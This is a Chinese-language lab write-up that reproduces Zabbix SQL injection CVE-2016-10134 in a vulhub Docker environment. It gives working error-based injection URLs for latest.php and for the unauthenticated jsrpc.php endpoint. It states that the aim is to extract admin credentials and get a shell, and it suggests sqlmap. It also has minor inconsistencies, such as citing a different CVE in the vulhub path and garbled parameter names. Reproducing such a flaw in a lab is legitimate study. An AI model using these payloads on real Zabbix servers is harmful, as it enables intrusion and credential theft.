zabbix 注入漏洞复现(CVE-2016-10134)
简介
Zabbix是一款能够监控各种网络参数以及服务器健康性和完整性的软件。Zabbix使用灵活的通知机制,允许用户为几乎任何事件配置基于邮件的告警。这样可以快速反馈服务器的问题。基于已存储的数据,Zabbix提供了出色的报告和数据可视化功能。这些功能使得Zabbix成为容量规划的理想方案
概述
Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案,Zabbix 的latest.php中的toggle_ids[]或jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作
原理
- zabbix:由两部分构成,zabbix server 与可选组件 zabbix agent。
- zabbix server 可以通过 SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能。
- zabbix agent 需要安装在被监视的目标服务器上,它主要完成对硬件信息或与操作系统有关的内存,CPU 等信息的收集
影响版本
- 2.2.x
- 3.3.0-3.03
环境搭建
我们用vulhub搭建,十分方便,执行以下命令
https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2017-2824
$ sudo docker-compose up -d
执行命令后,将启动数据库(mysql)、zabbix server、zabbix agent、zabbix web。如果内存稍小,可能会存在某个容器挂掉的情况,我们可以通过docker-compose ps查看容器状态,并通过docker-compose start来重新启动容器。
然后访问http://target-ip:8080/
进入主页
漏洞复现
latest.php注入
- 这个前提需要登入进去,比如未关闭 Guest 等。
- 这个需要把 cookie 中的 zbx_sessionid 后16值拿出来,当作下面 payload 中 sid 值,然后进行注入。
- payload:
http://ip:port/latest.php?output.php=ajax&sid=************&favobj=toggle&toggle_open_state=1&toggle_ids=updatexml(0,concat(0xa,database()),0)
- 在登入页面刷新一下即可获取。
- 查看 cookie,复制后16位
6a425e8beaf2eef7
- 将这16个字符作为 sid 的值,访问
http://target-ip:8080/latest.php?output=ajax&sid=6a425e8beaf2eef7&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
,可见成功注入
jsrpc.php注入
这个漏洞也可以通过 jsrpc.php 触发,且无需登录:http://target-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
这个漏洞也可以直接用 sqlmap 跑